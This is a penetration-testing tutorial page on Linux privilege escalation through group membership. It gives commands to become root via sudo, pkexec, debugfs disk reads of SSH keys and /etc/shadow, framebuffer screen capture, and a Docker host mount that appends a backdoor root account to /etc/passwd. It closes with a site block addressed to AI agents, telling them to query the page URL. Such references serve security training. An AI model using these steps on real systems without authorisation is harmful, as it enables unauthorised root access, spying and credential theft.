# Interesting Groups - Linux PE ## Sudo/Admin Groups ### **PE - Method 1** **Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. If this is the case, to **become root you can just execute**: ``` sudo su ``` ### PE - Method 2 Find all suid binaries and check if there is the binary **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. To **become root you can execute**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` If you try to execute **pkexec** and you get this **error**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` **It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: . You need **2 different ssh sessions**: {% code title="session1" %} ```bash echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` {% endcode %} {% code title="session2" %} ```bash pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` {% endcode %} ## Wheel Group **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: ``` %wheel ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group wheel can execute anything as sudo**. If this is the case, to **become root you can just execute**: ``` sudo su ``` ## Shadow Group Users from the **group shadow** can **read** the **/etc/shadow** file: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` So, read the file and try to **crack some hashes**. ## Disk Group This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. Files:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 debugfs: cd /root debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. ## Video Group Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: ![](/files/-MaoHR01Un1Rp-qXLgbp) Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): ![](/files/-MaoHR020s-IuMdXav-J) ## Root Group It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... **Check which files root members can modify**: ```bash find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. ```bash docker image #Get images from the docker service #Get a shell inside a docker container with access as root to the filesystem docker run -it --rm -v /:/mnt chroot /mnt bash #If you want full access from the host, create a backdoor in the passwd file echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: {% content-ref url="/pages/-MaoHEnLexLkmzfCLQCi" %} [Docker Breakout](/githubimport/linux-unix/privilege-escalation/docker-breakout.md) {% endcontent-ref %} If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](/githubimport/linux-unix/privilege-escalation.md#writable-docker-socket)**.** {% embed url="" %} {% embed url="" %} ## lxc/lxd Group {% content-ref url="/pages/-MaoHEnQ7Yy1Bd3M-g3x" %} [Interesting Groups - Linux PE](/githubimport/linux-unix/privilege-escalation/interesting-groups-linux-pe.md) {% endcontent-ref %} ## Adm Group Usually **members** of the group **`adm`** have permissions to **read log** files located inside */var/log/*.\ Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. ## Auth group Inside OpenBSD the **auth** group usually can write in the folders ***/etc/skey*** and ***/var/db/yubikey*** if they are used.\ These permissions may be abused with the following exploit to **escalate privileges** to root: --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://chinnidiwakar.gitbook.io/githubimport/linux-unix/privilege-escalation/interesting-groups-linux-pe.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.